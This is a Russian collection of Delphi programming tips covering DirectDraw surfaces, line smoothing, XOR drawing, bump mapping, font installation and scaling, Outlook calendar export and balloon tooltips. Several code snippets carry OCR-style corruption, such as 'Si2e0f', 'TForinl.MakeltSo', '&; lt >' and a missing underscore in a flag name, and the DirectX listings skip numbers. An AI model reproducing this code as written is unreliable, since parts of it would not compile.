Существует способ для создания основной поверхности и одной и более сменных поверхностей в одно и то же время за счет создания комплексной поверхности. Еще один аспект в создании комплексной (составной) поверхности заключается в том, что вы можете освободить все поверхности в комплексной цепи сменных поверхностей путем высвобождения самой комплексной поверхности. Для примера создадим комплексную поверхность посредством одной вспомогательной буферной поверхности.

Фоновые поверхности, которые создаются в качестве части комплексной, известны как Неявные поверхности. Существует большое число операций, которые вы не сможете осуществить с помощью Неявных поверхностей, например, отсоединить их от основной поверхности или освободить их независимо от основной поверхности. Однако, комплексные поверхности намного проще создавать, потому что DirectDraw создает фоновые буфера и соединяет их с основной поверхностью.

В этой связи я должен затронуть вопрос сложности DirectDraw, поскольку необходимо заполнять поля и записи TDDSurfaceDesc. Если вы прочитаете об этом и справке DirectDraw, вы сможете увидеть, что все это выглядит довольно ужасно! Но как я уже говорил, вы можете счастливо игнорировать большинство из этих полей. Листинг 4 представляет код, который необходимо добавить в обработчик OnShow для создания комплексной поверхности.

Листинг 4 Создание комплексной поверхности.

Code: { заполнить описатель DirectDrawSurface перед созданием поверхности }. FillChar(DDSurfaceDesc, Si2e0f(DDSurfaceDesc), 0); With DDSurfaceDesc do. Begin. DwSize := SizeOf(DDSurfaceDesc); DwFlags := DDSD_CAPS or DDSD_BACKBUFFERCOUNT; DdSCaps.dwCaps := DDSCAPS_COMPLEX or DDSCAPS FLIP or. DDSCAPS_PRIMARYSURFACE; DwBackBufferCount: = 1; End;

DirectX (Игровой SDK) 3.

Листинг 10 функция MakeltSo для оказание помощи в восстановлении поверхности.

Code: Function TForinl.MakeltSo(DDResult: HResult): boolean; Begin. { утилита для предоставления помощи в восстановлении поверхностей }. Case DDResult of. DD_OK: Result := true; DDERR_SURFACELOST: Result := RestoreSurfaces <> DD_OK; Else. Result := DDResult <> DDERR_WASSTILLDRAWING; End; End;

DirectX (Игровой SDK) 4.

Использование класса DDCanvas.

Для того, чтобы использопать этот класс, следует скопировать модуль DDCanvas.pas ц каталог Lib, который находится в каталоге Delphi 3.0, или и другой каталог, обозначенный в пути поиска библиотеки.

Помните ли вы злополучное взаимное исключение Win, которое приостанаилипает многозадачную работу? Хорошо, я еще раз подчеркну необходимость освобождения DC. Класс TDDCanvas имеет и использует в своих целях метод Release. Всегда заворачивайте любой доступ к полотну в блок try..finally, например:

Code: Try. DDCanvas.TextOut(0, 0, 'Hello Flipping World!'); {и т.д. }. Finally. DDCanvas.Release; End;

Убрать зазубринки при рисовании линий.

При рисовании линии, особенно под маленьким углом, хорошо различимы отдельные точки. Для устранения этого недостатка я использую уменьшение изображения.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. X, y: integer; I, j: integer; R, g, b: integer; Begin. Form1.Canvas.Pen.Width := 10; Form1.Canvas.MoveTo(10, 10); Form1.Canvas.LineTo(90, 20); For y := 0 to 10 do begin. For x := 0 to 25 do begin. R := 0; For i := 0 to 3 do. For j := 0 to 3 do. R := r + GetRValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]); R := round(r / 16); G := 0; For i := 0 to 3 do. For j := 0 to 3 do. G := g + GetGValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]); G := round(g / 16); B := 0; For i := 0 to 3 do. For j := 0 to 3 do. B := b + GetBValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]); B := round(b / 16); Form1.Canvas.Pixels[x,y+50] := RGB(r, g, b). End; Application.ProcessMessages; End; End;

Перемещать объект на сложном фоне.

Написать графический редактор, как Paint Brush, в Delphi очень просто. Но встает одна проблема. Чтобы нарисовать линию, пользователь нажимает мышью на поле, двигает ее, и отпускает кнопку. Во время движения мыши линия все время перерисовывается. Причем фон, после того, как линия переместилась, должен восстановиться. Для этого можно использовать логическую операцию XOR. Важное свойство этой операции заключается в том, что при любых A и B, A XOR B XOR B = A. Это означает, что если воспользоваться этой операцией для рисования линии, то при повторном ее рисовании на этом месте этим же цветом она сотрется, оставив за собой прежний фон.

Code: Procedure TForm1.XORLine; Begin. Form1.Canvas.MoveTo(xo, yo); Form1.Canvas.LineTo(lx, ly); End; Procedure TForm1.FormCreate(Sender: TObject); Begin. Form1.Color := clWhite; Form1.Canvas.Pen.Color := clRed; Form1.Canvas.Pen.Width := 3; End; Procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. Form1.Tag := 1; Xo := X; Yo := Y; Lx := X; Ly := Y; Form1.Canvas.Pen.Mode := pmNotXor; XORLine; End; Procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); Begin. If ssLeft in Shift then. Begin. XORLine; Lx := X; Ly := Y; XORLine; End; End; Procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. Form1.Canvas.Pen.Mode := pmCopy; Form1.Canvas.MoveTo(xo, yo); Form1.Canvas.LineTo(X, Y); End;

Карта высот картинки.

Code: { Вы знаете что такое карта высот? Можно создать супер эффект на простом Canvas. К сожалению мой код моргает при перерисовке, Но вы уж поковыряйтесь.... :). } Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, ExtDlgs, math, ComCtrls, ShellApi; Type. TForm1 = class(TForm). Image1: TImage; OpenDialog1: TOpenDialog; Timer1: TTimer; PageControl1: TPageControl; Specular: TTabSheet; SRed: TEdit; Label1: TLabel; ScrollBar1: TScrollBar; Label2: TLabel; SGreen: TEdit; ScrollBar2: TScrollBar; ScrollBar3: TScrollBar; SBlue: TEdit; Label3: TLabel; Label4: TLabel; Edit1: TEdit; ScrollBar4: TScrollBar; Diffuse: TTabSheet; Ambient: TTabSheet; Label5: TLabel; Label6: TLabel; Label7: TLabel; DGreen: TEdit; DBlue: TEdit; DRed: TEdit; ScrollBar5: TScrollBar; ScrollBar6: TScrollBar; ScrollBar7: TScrollBar; Label8: TLabel; Label9: TLabel; Label10: TLabel; ABlue: TEdit; AGreen: TEdit; ARed: TEdit; ScrollBar8: TScrollBar; ScrollBar9: TScrollBar; ScrollBar10: TScrollBar; Label11: TLabel; Label12: TLabel; Edit2: TEdit; Label13: TLabel; Procedure FormCreate(Sender: TObject); Procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); Procedure ScrollBarChange(Sender: TObject); Procedure Label11Click(Sender: TObject); Procedure Timer1Timer(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Type. Normal = record. X: integer; Y: integer; End; Type. Rgb32 = record. B: byte; G: byte; R: byte; T: byte; End; Type. Rgb24 = record. R: integer; G: integer; B: integer; End; Var. Form1: TForm1; Bumpimage: tbitmap; Current_X, Current_Y: integer; Var. Bump_Map: array[0..255, 0..255] of normal; Environment_map: array[0..255, 0..255] of integer; Palette: array[0..256] of rgb24; Implementation. {$R *.DFM}. Procedure TForm1.FormCreate(Sender: TObject); Type. Image_array = array[0..255, 0..255] of byte; Var. X, y: integer; Buffer: image_array; Bump_file: file of image_array; Ny2, nx, nz: double; C: integer; Ca, cap: double; Begin. Assignfile(bump_File, 'bump.raw'); Reset(Bump_File); Read(Bump_File, buffer); For y := 1 to 254 do. Begin. For x := 1 to 254 do. Begin. Bump_Map[x, y].x := buffer[y + 1, x] - buffer[y + 1, x + 2]; Bump_map[x, y].y := buffer[y, x + 1] - buffer[y + 2, x + 1]; End; End; Closefile(bump_File); For y := -128 to 127 do. Begin. NY2 := y / 128; NY2 := nY2 * nY2; For X := -128 to 127 do. Begin. NX := X / 128; Nz := 1 - SQRT(nX * nX + nY2); C := trunc(nz * 255); If c < = 0 then. C := 0; Environment_Map[x + 128, y + 128] := c; End; End; Nx := pi / 2; Ny2 := nx / 256; For y := 0 to 255 do. Begin. Ca := cos(nx); Cap := power(ca, 35); Nx := nx - ny2; Palette[y].r := trunc((128 * ca) + (235 * cap)); If palette[y].r > 255 then. Palette[y].r := 255; Palette[y].G := trunc((128 * ca) + (245 * cap)); If palette[y].g > 255 then. Palette[y].g := 255; Palette[y].B := trunc(5 + (170 * ca) + (255 * cap)); ; If palette[y].b > 255 then. Palette[y].b := 255; End; Bumpimage := TBitmap.create; Bumpimage.width := 255; Bumpimage.height := 255; Bumpimage.PixelFormat := pf32bit; Image1.Picture.Bitmap := bumpimage; Image1mousemove(self, [], 128, 128); Application.ProcessMessages; End; Procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); Begin. Current_X := x; Current_Y := y; End; Procedure TForm1.Timer1Timer(Sender: TObject); Var. X, y, x2, y2, y3: integer; Scan: ^Scanline; Bx, by: longint; C: byte; Begin. X := Current_X; Y := Current_Y; For y2 := 0 to 253 do. Begin. Scan := image1.Picture.Bitmap.ScanLine[y2]; Y3 := 128 + y2 - y; For x2 := 0 to 253 do. Begin. Bx := bump_Map[x2, y2].x + 128 + x2 - x; By := bump_Map[x2, y2].y + y3; If (bx < 255) and (bx > 0) and (by < 255) and (by > 0) then. Begin. C := Environment_Map[bx, by]; Scan^[x2].r := palette[c].r; Scan^[x2].g := palette[c].g; Scan^[x2].b := palette[c].b; End. Else. Begin. Scan^[x2].r := palette[0].r; Scan^[x2].g := palette[0].g; Scan^[x2].b := palette[0].b; End; {image1.Canvas.Pixels[x,y] := rgb(r,g,b);}. End; End; Image1.Refresh; End; Procedure TForm1.ScrollBarChange(Sender: TObject); Var. Ny2, nx: double; C: integer; Ca, cap: double; Begin. SRed.Text := inttostr(scrollbar1.position); SGreen.Text := inttostr(scrollbar2.position); SBlue.Text := inttostr(scrollbar3.position); Edit1.Text := inttostr(scrollbar4.position); DRed.Text := inttostr(scrollbar5.position); DGreen.Text := inttostr(scrollbar6.position); DBlue.Text := inttostr(scrollbar7.position); ARed.Text := inttostr(scrollbar8.position); AGreen.Text := inttostr(scrollbar9.position); ABlue.Text := inttostr(scrollbar10.position); Nx := pi / 2; Ny2 := nx / 256; For C := 0 to 255 do. Begin. Ca := cos(nx); Cap := power(ca, scrollbar4.position); Nx := nx - ny2; Palette[c].r := trunc(scrollbar8.position + (scrollbar5.position * ca) + (scrollbar1.position * cap)); If palette[c].r > 255 then. Palette[c].r := 255; Palette[c].G := trunc(scrollbar9.position + (scrollbar6.position * ca) + (scrollbar2.position * cap)); If palette[c].g > 255 then. Palette[c].g := 255; Palette[c].B := trunc(scrollbar10.position + (scrollbar7.position * ca) + (scrollbar3.position * cap)); ; If palette[c].b > 255 then. Palette[c].b := 255; End; Image1mousemove(self, [], Current_X, Current_Y); Application.ProcessMessages; End; Procedure TForm1.Label11Click(Sender: TObject); Begin. ShellExecute(handle, 'open', 'http://wkweb5.cableinet.co.uk/daniel.davies/', Nil, nil, SW_SHOWNORMAL); End; End.

Как добавить True Type шрифт в систему?

Чтобы установить шрифт в систему, необходимо скопировать файл шрифта в 'Windows\Fonts' и добавить ключ в реестр:

'Software\Microsoft\Windows\CurrentVersion\Fonts'

Этот ключ указывает на файл шрифта. Далее запускаем API функцию 'AddFontRecource'. В заключении нужно уведомить систему широковещательным сообщением.

Code: Uses Registry; Procedure TForm1.Button1Click(Sender: TObject); Var. HReg: TRegistry; HBool : bool; Begin. CopyFile('C:\DOWNLOAD\FP000100.TTF', 'C:\WINDOWS\FONTS\FP000100.TTF', hBool); HReg := TRegistry.Create; HReg.RootKey := HKEY_LOCAL_MACHINE; HReg.LazyWrite := false; HReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Fonts', False); HReg.WriteString('TESTMICR (TrueType)','FP000100.TTF'); HReg.CloseKey; HReg.free; //Добавляем ресурс шрифта. AddFontResource('c:\windows\fonts\FP000100.TTF'); SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0); //Убираем блокировку ресурса. RemoveFontResource('c:\windows\fonts\FP000100.TTF'); SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0); End;

Как показать File Properties dialog?

Code: { This code shows the standard file properties dialog like in Windows Explorer }. Uses. Shellapi; // Thanks to Peter Below (TeamB) for this code. Procedure PropertiesDialog(FileName: string); Var. Sei: TShellExecuteInfo; Begin. FillChar(sei, SizeOf(sei), 0); Sei.cbSize := SizeOf(sei); Sei.lpFile := PChar(FileName); Sei.lpVerb := 'properties'; Sei.fMask := SEE_MASK_INVOKEIDLIST; ShellExecuteEx(@sei); End; Procedure TForm1.Button1Click(Sender: TObject); Begin. If Opendialog1.Execute then. PropertiesDialog(Opendialog1.FileName); End;

Каким образом выбирать размер шрифта?

Автор: Nomadic.

Каким образом выбирать размер шрифта, т.к. все мои страдания по выборупараметров шрифта в CreateFont() никак не отражались на его размере. Все что я придумал, это юзать glScale(), но в этом случае получаем плохое качество (по сравнению с той-же Вордой) при малом размере символов.

Вот часть работающего примера на Си (переведенного мною на Паскаль (АА)).

Code: Procedure GLSetupRC(pData: Pointer). //void GLSetupRC(void *pData). //{ Var. // HDC hDC; HDC: HDC; // HFONT hFont; HFont: HFONT; // GLYPHMETRICSFLOAT agmf[128]; Agmf: array[0..127] of GLYPHMETRICSFLOAT; // LOGFONT logfont; Logfont: LOGFONT; Begin. Logfont.lfHeight := -10; Logfont.lfWidth := 0; Logfont.lfEscapement := 0; Logfont.lfOrientation := 0; Logfont.lfWeight := FW_BOLD; Logfont.lfItalic := FALSE; Logfont.lfUnderline := FALSE; Logfont.lfStrikeOut := FALSE; Logfont.lfCharSet := ANSI_CHARSET; Logfont.lfOutPrecision := OUT_DEFAULT_PRECIS; Logfont.lfClipPrecision := CLIP_DEFAULT_PRECIS; Logfont.lfQuality := DEFAULT_QUALITY; Logfont.lfPitchAndFamily := DEFAULT_PITCH; //strcpy(logfont.lfFaceName,"Arial"); // strcpy(logfont.lfFaceName,"Decor"); StrPCopy(logfont.lfFaceName, 'Decor'); GlDepthFunc(GL_LESS); GlEnable(GL_DEPTH_TEST); // Hidden surface removal. GlFrontFace(GL_CCW); // Counter clock-wise polygons face out. GlEnable(GL_CULL_FACE); // Do not calculate insides. GlShadeModel(GL_SMOOTH); // Smooth shading. GlEnable(GL_AUTO_NORMAL); GlEnable(GL_NORMALIZE); GlEnable(GL_COLOR_MATERIAL); GlClearColor(0.0, 0.0, 0.0, 1.0); GlEnable(GL_LIGHTING); GlLightfv(GL_LIGHT0, GL_AMBIENT, ambientLight); GlLightfv(GL_LIGHT0, GL_DIFFUSE, diffuseLight); GlLightfv(GL_LIGHT0, GL_SPECULAR, specular); GlLightfv(GL_LIGHT0, GL_POSITION, lightPos); GlEnable(GL_LIGHT0); GlColorMaterial(GL_FRONT, GL_AMBIENT_AND_DIFFUSE); GlMaterialfv(GL_FRONT, GL_SPECULAR, specular); GlMateriali(GL_FRONT, GL_SHININESS, 100); // Blue 3D Text. GlRGB(0, 0, 255); // Select the font into the DC. HDC := (HDC)pData; // hFont = CreateFontIndirect(&logfont); HFont := CreateFontIndirect(Addr(logfont)); SelectObject(hDC, hFont); //create display lists for glyphs 0 through 255 with 0.3 extrusion. // and default deviation. The display list numbering starts at 1000. // (it could be any number). // if(!wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3, // WGL_FONT_POLYGONS, agmf)). If not wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3, //> ``` - это тебе поможет. //> Выводить текст можно в любым масштабе. WGL_FONT_POLYGONS, agmf) then. Windows.MessageBox(nil, 'Could not create Font Outlines', 'Error', MB_OK or MB_ICONSTOP); // Delete the font now that we are done. DeleteObject(hFont); //}. End; // void GLRenderScene(void *pData). Procedure GLRenderScene(pData: Pointer); Begin. (* ... *) // Draw 3D text. GlListBase(1000); GlPushMatrix(); // Set up transformation to draw the string. GlTranslatef(-35.0, 0.0, -5.0); GlScalef(60.0, 60.0, 60.0); GlCallLists(3, GL_UNSIGNED_BYTE, 'Decor'); GlPopMatrix(); // Clear the window with current clearing color. (* ... *) End;

Является ли шрифт шрифтом с фиксированной шириной?

Code: Procedure TConsole.FontChanged(Sender: TObject); Var. DC: HDC; Save: THandle; Metrics: TTextMetric; Temp: string; Begin. If Font.Handle <> FOldFont.Handle then. Begin. DC := GetDC(0); Save := SelectObject(DC, Font.Handle); GetTextMetrics(DC, Metrics); SelectObject(DC, Save); ReleaseDC(0, DC); If not (((Metrics.tmPitchAndFamily and ff_Modern) <> 0) and. ((Metrics.tmPitchAndFamily and $01) = 0)) then. Begin. Temp := 'TConsole: ' + Font.Name + ' не является шрифтом с фиксированной шириной'; Font.Name := FOldFont.Name; { Возвращаем предыдущие атрибуты шрифта }. Raise EInvalidFont.Create(Temp); End; SetMetrics(Metrics); End; FOldFont.Assign(Font); If csDesigning in ComponentState then. InternalClrScr; End;

Вывод шрифтов в списке в виде самих шрифтов.

Code: Unit Fontlist; Interface. Uses. Windows, Classes, Graphics, Forms, Controls, StdCtrls; Type. TForm1 = class(TForm). ListBox1: TListBox; Label1: TLabel; FontLabel: TLabel; Procedure FormCreate(Sender: TObject); Procedure ListBox1Click(Sender: TObject); Procedure DrawItem(Control: TWinControl; index: Integer; Rect: TRect; State: TOwnerDrawState); Procedure ListBox1MeasureItem(Control: TWinControl; index: Integer; Var Height: Integer); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.FormCreate(Sender: TObject); Begin. Listbox1.Items := Screen.Fonts; End; Procedure TForm1.ListBox1Click(Sender: TObject); Begin. FontLabel.Caption := ListBox1.Items[ListBox1.ItemIndex]; End; Procedure TForm1.DrawItem(Control: TWinControl; index: Integer; Rect: TRect; State: TOwnerDrawState); Begin. With ListBox1.Canvas do. Begin. FillRect(Rect); Font.name := ListBox1.Items[index]; Font.Size := 0; // use font's preferred size. TextOut(Rect.Left+1, Rect.Top+1, ListBox1.Items[index]); End; End; Procedure TForm1.ListBox1MeasureItem(Control: TWinControl; index: Integer; Var Height: Integer); Begin. With ListBox1.Canvas do. Begin. Font.name := Listbox1.Items[index]; Font.Size := 0; // use font's preferred size. Height := TextHeight('Wg') + 2; // measure ascenders and descenders. End; End; End.

Как приложению воспользоваться своими шрифтами?

Может ли кто-нибудь подсказать или решить такую проблему: мне нужно убедиться, что мое приложение использует доступные, а не ближайшие шрифты, установленные пользователем в системе? Я пробовал копировать файл #.ttf в директорию пользователя windows\system, но мое приложение так и не смогло их увидеть и выбрать для дальнейшего использования.

Ниже приведен код для Delphi, который динамически устанавливает шрифты, загружаемые только во время работы приложения. Вы можете расположить файл(ы) шрифтов в каталоге приложения. Они будут инсталлированы при загрузке формы и выгружены при ее разрушении. Вам возможно придется модифицировать код для работы с Delphi 2, поскольку он использует вызовы Windows API, которые могут как измениться, так и нет. Если в коде вы видите "...", то значит в этом месте может располагаться какой-либо код, не относящийся к существу вопроса.

Ну и, конечно, вы должны заменить "MYFONT" на реальное имя файла вашего шрифта.

Code: Type. TForm1 = class(TForm). Procedure FormCreate(Sender: TObject); Procedure FormDestroy(Sender: TObject); ... Private. { Private declarations }. BLoadedFont: boolean; Public. { Public declarations }. End; Procedure TForm1.FormCreate(Sender: TObject); Var. SAppDir: string; SFontRes: string; Begin. SAppDir := Application.ExeName; SAppDir := copy(sAppDir, 1, rpos('\', sAppDir)); SFontRes := sAppDir + 'MYFONT.FOT'; If not FileExists(sFontRes) then. Begin. SFontRes := sFontRes + #0; SFont := sAppDir + 'MYFONT.TTF' + #0; CreateScalableFontResource(0, @sFontRes[1], @sFont[1], nil); End; SFontRes := sAppDir + 'MYFONT.FOT'; If FileExists(sFontRes) then. Begin. SFontRes := sFontRes + #0; If AddFontResource(@sFontRes[1]) = 0 then. BLoadedFont := false. Else. Begin. BLoadedFont := true; SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0); End; End; ... End; Procedure TForm1.FormDestroy(Sender: TObject); Var. SFontRes: string; Begin. If bLoadedFont then. Begin. SFontRes := sAppDir + 'MYFONT.FOT' + #0; RemoveFontResource(@sFontRes[1]); SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0); End; End;

Какой шрифт установлен (крупный или мелкий)?

Code: Function SmallFonts: Boolean; {Значение функции TRUE если мелкий шрифт}. Var. DC: HDC; Begin. DC := GetDC(0); Result := (GetDeviceCaps(DC, LOGPIXELSX) = 96); { В случае крупного шрифта будет 120}. ReleaseDC(0, DC); End;

Масштабирование размера формы и размера шрифтов.

Когда мои программы работают на системах с установленными маленькими шрифтами, я получаю странный вид моей формы. К примеру, расположенные на форме компоненты Label становятся малы для размещения указанного теста, обрезая его в правой или нижней части. StringGrid не осуществляет положенного выравнивания и т.д.

Попробуй следующий код. Он масштабирует как размер формы, так и размер шрифтов. Вызывай его в Form.FormCreate. Надеюсь это поможет.

Code: Unit geScale; Interface. Uses Forms, Controls; Procedure geAutoScale(MForm: TForm); Implementation. Type. TFooClass = class(TControl); { необходимо выяснить защищенность }. { свойства Font }. Procedure geAutoScale(MForm: TForm); Const. CScreenWidth: integer = 800; CScreenHeight: integer = 600; CPixelsPerInch: integer = 96; CFontHeight: integer = -11; {В режиме проектирование значение из Font.Height}. Var. I: integer; Begin. { ВАЖНО!! : Установите в Инспекторе Объектов свойство Scaled TForm в FALSE. Следующая программа масштабирует форму так, чтобы она выглядела одинаково. Внезависимости от размера экрана и пикселей на дюйм. Расположенный ниже. Участок кода проверяет, отличается ли размер экрана во время выполнения. От размера во время проектирования. Если да, Scaled устанавливается в True. И компоненты снова масштабируются так, чтобы они выводились в той же. Позиции экрана, что и во время проектирования. } If (Screen.width &; lt > cScreenWidth) or (Screen.PixelsPerInch <> CPixelsPerInch) then. Begin. MForm.scaled := TRUE; MForm.height := MForm.height * screen.Height div cScreenHeight; MForm.width := MForm.width * screen.width div cScreenWidth; MForm.ScaleBy(screen.width, cScreenWidth); End; { Этот код проверяет, отличается ли размер шрифта во времы выполнения от. Размера во время проектирования. Если во время выполнения pixelsperinch. Формы отличается от pixelsperinch во время проектирования, шрифты снова. Масштабируются так, чтобы форма не отличалась от той, которая была во. Время разработки. Масштабирование производится исходя из коэффициента, Получаемого путем деления значения font.height во время проектирования. На font.height во время выполнения. Font.size в этом случае работать не. Будет, так как это может дать результат больший, чем текущие размеры. Компонентов, при этом текст может оказаться за границами области компонента. Например, форма создана при размерах экрана 800x600 с установленными. Маленькими шрифтами, имеющими размер font.size = 8. Когда вы запускаете. В системе с 800x600 и большими шрифтами, font.size также будет равен 8, Но текст будет бОльшим чем при работе в системе с маленькими шрифтами. Данное масштабирование позволяет иметь один и тот же размер шрифтов. При различных установках системы. } If (Screen.PixelsPerInch <> cPixelsPerInch) then. Begin. For i := MForm.ControlCount - 1 downto 0 do. TFooClass(MForm.Controls[i]).Font.Height := (MForm.Font.Height div cFontHeight) * TFooClass(MForm.Controls[i]).Font.Height; End; End; End.

Различные разрешения - различные размеры шрифтов.

Я также долго мучился над проблемой решения этого вопроса, и ниже я излагаю свои выводы на основании моих многочисленных экспериментов.

Свойство, отвечающее за размер шрифта важно, но не менее важны в этом вопросе и другие характеристики.

Я получал безобразные результаты при изменении резолюции, пока я не начал задавать размер шрифта в пикселях (pixels) вместо точек (points). Вы можете установить font.height, и вы можете установить font.size. Я обнаружил, что установка значения font.height дает значительно лучшие результаты, поскольку данное свойство определяет количество пикселей, и размер шрифта меняется пропорционально изменению размера пиксела.

Также, вы можете обнаружить, что шрифт по-умолчанию не может быть ниже определенной высоты. Будет гораздо лучше, если вместо SYSTEM вы выберите шрифт MS sans-serif.

У формы имеется свойство, названное "scaling" (взял из памяти, надеюсь верно). Я обнаружил, что лучше его иметь выключенным. Если свойство включено, Delphi или Windows пытаются при изменении размера формы все соответствено смаштабировать. Все это хорошо только для сохранения относительных позиций элементов, так что я выключил свойство, и больше о нем не вспоминал.

Если свойство выключено, а форма ваша максимизирована, вы обнаружите, что все ваши компоненты устремились вслед за левым верхним углом формы. Где не желателен этот эффект, я получал разрешение экрана (Screen.Height и Screen.Width) и прислаивал свойствам компонентов Left и Тор скорректированные свойства прежде, чем форма успевала появиться (в методе OnCreate, во время выполения приложения).

В целом же, завершая рассказ, следует подчеркнуть, что выключенное свойство scaling и использование пикселей вместо точек для изменения размеров шрифта, дает вполне приемлимый результат.

©Drkb::01929.

Взято с http://delphiworld.narod.ru.

Свойства шрифта Style и Color в виде строки.

Автор: Dennis Passmore.

Как мне получить значение Font.Style и Font.Color в виде строки, я хотел бы присвоить его заголовку компонента Label, но style и color не являются строковыми величинами.

Есть масса способов это сделать, но я использую следующий способ:

Code: Const. FsTextName: array[TFontStyle] of string[11] = ('fsBold', 'fsItalic', 'fsUnderline', 'fsStrikeOut'); FpTextName: array[TFontPitch] of string[10] = ('fpDefault','fpVariable','fpFixed');

Как сохранить Outlook календарь как website?

Code: { In Outlook lasst sich ein Kalender als WebSeite speichern. Dazu benotig man. Den "Web Publishing Wizard" download im Microsoft Download Center. }. { In Outlook you can save the calendar as website. For this you need the. "Web Publishing Wizard" available at Microsoft Download Center. }. { Original VB Script: By Sue Mosher, sue @slipstick.com, with input from Ken Slovak and others. For more Outlook samples, see http://www.slipstick.com/dev/code/index.htm }. { .... } Uses ComObj; { .... } Procedure TForm1.Button1Click(Sender: TObject); Var. Outlook, NameSpace, TopFolder, CalendarFolder, WebPub: OleVariant; STitle: string; Begin. Outlook := CreateOleObject('Outlook.Application'); WebPub := CreateOleObject('WebPub.cWebPub'); NameSpace := Outlook.GetNamespace('MAPI'); TopFolder := NameSpace.Folders[1]; CalendarFolder := TopFolder.Folders('Kalender'); WebPub.Create('Kalender von AHA', '', False, '01.05.2003', '01.06.2003', True, True, 'C:\Temp'); { WebPub.Create method parameters: 'sTitle - Title displayed at the top of the page. 'sGraphic - Path to a graphic file to use for BACKGROUND. ' attribute. 'bUseGraphic - True=Use 'sGraphic' param, False=Ignore. 'dtStartDate - Start of date range to publish. 'dtEndDate - End of date range to publish. 'bDetails - Publish appointment details. 'bShowInBrowser - Display in default browser after publishing. 'sSiteName - Local path to store published calendar. } WebPub := Unassigned; Outlook := Unassigned; End;

Как сделать balloon tooltips?

Code: Uses. Commctrl; Procedure ShowBalloonTip(Control: TWinControl; Icon: integer; Title: pchar; Text: PWideChar; BackCL, TextCL: TColor); Const. TOOLTIPS_CLASS = 'tooltips_class32'; TTS_ALWAYSTIP = $01; TTS_NOPREFIX = $02; TTS_BALLOON = $40; TTF_SUBCLASS = $0010; TTF_TRANSPARENT = $0100; TTF_CENTERTIP = $0002; TTM_ADDTOOL = $0400 + 50; TTM_SETTITLE = (WM_USER + 32); ICC_WIN95_CLASSES = $000000FF; Type. TOOLINFO = packed record. CbSize: Integer; UFlags: Integer; Hwnd: THandle; UId: Integer; Rect: TRect; Hinst: THandle; LpszText: PWideChar; LParam: Integer; End; Var. HWndTip: THandle; Ti: TOOLINFO; HWnd: THandle; Begin. HWnd := Control.Handle; HWndTip := CreateWindow(TOOLTIPS_CLASS, nil, WS_POPUP or TTS_NOPREFIX or TTS_BALLOON or TTS_ALWAYSTIP, 0, 0, 0, 0, hWnd, 0, HInstance, nil); If hWndTip <> 0 then. Begin. SetWindowPos(hWndTip, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE); Ti.cbSize := SizeOf(ti); Ti.uFlags := TTF_CENTERTIP or TTF_TRANSPARENT or TTF_SUBCLASS; Ti.hwnd := hWnd; Ti.lpszText := Text; Windows.GetClientRect(hWnd, ti.rect); SendMessage(hWndTip, TTM_SETTIPBKCOLOR, BackCL, 0); SendMessage(hWndTip, TTM_SETTIPTEXTCOLOR, TextCL, 0); SendMessage(hWndTip, TTM_ADDTOOL, 1, Integer(@ti)); SendMessage(hWndTip, TTM_SETTITLE, Icon mod 4, Integer(Title)); End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. ShowBalloonTip(Button1, 1, 'Title', 'Balloon tooltip,http://kingron.myetang.com; updated by Calin', clBlue, clNavy); End;

Code: {....} Uses Commctrl; {....} Const. TTS_BALLOON = $40; TTM_SETTITLE = (WM_USER + 32); Var. HTooltip: Cardinal; Ti: TToolInfo; Buffer : array[0..255] of char; {....} Procedure CreateToolTips(hWnd: Cardinal); Begin. HToolTip := CreateWindowEx(0, 'Tooltips_Class32', nil, TTS_ALWAYSTIP or TTS_BALLOON, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), hWnd, 0, hInstance, nil); If hToolTip <> 0 then. Begin. SetWindowPos(hToolTip, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE or. SWP_NOSIZE or SWP_NOACTIVATE); Ti.cbSize := SizeOf(TToolInfo); Ti.uFlags := TTF_SUBCLASS; Ti.hInst := hInstance; End; End; Procedure AddToolTip(hwnd: DWORD; lpti: PToolInfo; IconType: Integer; Text, Title: PChar); Var. Item: THandle; Rect: TRect; Begin. Item := hWnd; If (Item <> 0) and (GetClientRect(Item, Rect)) then. Begin. Lpti.hwnd := Item; Lpti.Rect := Rect; Lpti.lpszText := Text; SendMessage(hToolTip, TTM_ADDTOOL, 0, Integer(lpti)); FillChar(buffer, SizeOf(buffer), #0); Lstrcpy(buffer, Title); If (IconType > 3) or (IconType < 0) then IconType := 0; SendMessage(hToolTip, TTM_SETTITLE, IconType, Integer(@buffer)); End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. CreateToolTips(Form1.Handle); AddToolTip(Memo1.Handle, @ti, 1, 'Tooltip text', 'Title'); End; { IconType can be: 0 - No icon. 1 - Information. 2 - Warning. 3 - Error. }

Список шрифтов, совместимых одновременно с экраном и с принтером.

Эти установки должны показать шрифты совместимые либо с принтером либо с экраном. В примере диалог Windows ChooseFont вызывается напрямую чтобы показать список шрифтов, совместимых одновременно и с экраном и с принтером.

Пример:

